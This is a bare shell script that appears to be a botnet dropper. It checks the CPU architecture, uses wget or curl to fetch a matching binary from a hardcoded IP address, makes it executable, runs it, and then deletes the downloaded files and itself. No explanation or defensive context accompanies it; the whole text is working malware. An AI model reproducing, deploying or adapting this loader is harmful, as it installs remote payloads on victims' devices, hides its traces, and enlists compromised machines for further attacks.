#!/bin/sh
address="23.140.244.57"
os=`uname -s`
arch=`uname -m`
if [ $os = "Linux" ]; then
       case $arch in
       "i"*"86")
       wget -t 1 http://$address/i686||curl -O --connect-timeout 10 http://$address/i686;chmod +x i686;./i686 i86||rm -f i686;rm -rf download.sh
       wget -t 1 http://$address/i586||curl -O --connect-timeout 10 http://$address/i586;chmod +x i586;./i586 i86||rm -f i586;rm -rf download.sh
       wget -t 1 http://$address/i486||curl -O --connect-timeout 10 http://$address/i486;chmod +x i486;./i486 i86||rm -f i486;rm -rf download.sh
       ;;
       "x86_64")
       wget -t 1 http://$address/x86_64||curl -O --connect-timeout 10 http://$address/x86_64;chmod +x x86_64;./x86_64 x86||rm -f x86_64;rm -rf download.sh
       ;;
       "amd64")
       wget -t 1 http://$address/x86_64||curl -O --connect-timeout 10 http://$address/x86_64;chmod +x x86_64;./x86_64 x86||rm -f x86_64;rm -rf download.sh
       ;;
       "mips")
       wget -t 1 http://$address/mips||curl -O --connect-timeout 10 http://$address/mips;chmod +x mips;./mips mips||rm -f mips;rm -rf download.sh
       wget -t 1 http://$address/mipsel||curl -O --connect-timeout 10 http://$address/mipsel;chmod +x mipsel;./mipsel mipsel||rm -f mipsel;rm -rf download.sh
       ;;
       "mips64")
       wget -t 1 http://$address/mips||curl -O --connect-timeout 10 http://$address/mips;chmod +x mips;./mips mips||rm -f mips;rm -rf download.sh
       wget -t 1 http://$address/mipsel||curl -O --connect-timeout 10 http://$address/mipsel;chmod +x mipsel;./mipsel mipsel||rm -f mipsel;rm -rf download.sh
       ;;
       "armv5"*)
        wget -t 1 http://$address/arm5||curl -O --connect-timeout 10 http://$address/arm5;chmod +x arm5;./arm5 arm5||rm -f arm5;rm -rf download.sh
        ;;
       "armv6"*)
        wget -t 1 http://$address/arm6||curl -O --connect-timeout 10 http://$address/arm6;chmod +x arm6;./arm6 arm6||rm -f arm6;rm -rf download.sh
        ;;
       "armv7"*)
        wget -t 1 http://$address/arm7||curl -O --connect-timeout 10 http://$address/arm7;chmod +x arm7;./arm7 arm7||rm -f arm7;rm -rf download.sh
        ;;
       "armv8"*)
        wget -t 1 http://$address/arm5||curl -O --connect-timeout 10 http://$address/arm5;chmod +x arm5;./arm5 arm5||rm -f arm5;rm -rf download.sh
       ;;
       "aarch64")
        wget -t 1 http://$address/arc||curl -O --connect-timeout 10 http://$address/arc;chmod +x arc;./arc arc||rm -f arc;rm -rf download.sh
       ;;
       "ppc"*)
        wget -t 1 http://$address/sparc||curl -O --connect-timeout 10 http://$address/sparc;chmod +x sparc;./sparc sparc||rm -f sparc;rm -rf download.sh
        wget -t 1 http://$address/440fp||curl -O --connect-timeout 10 http://$address/440fp;chmod +x 440fp;./440fp 440fp||rm -f 440fp;rm -rf download.sh
        wget -t 1 http://$address/powerpc||curl -O --connect-timeout 10 http://$address/powerpc;chmod +x powerpc;./powerpc powerpc||rm -f powerpc;rm -rf download.sh
       ;;    
       esac
fi
/bin/rm $0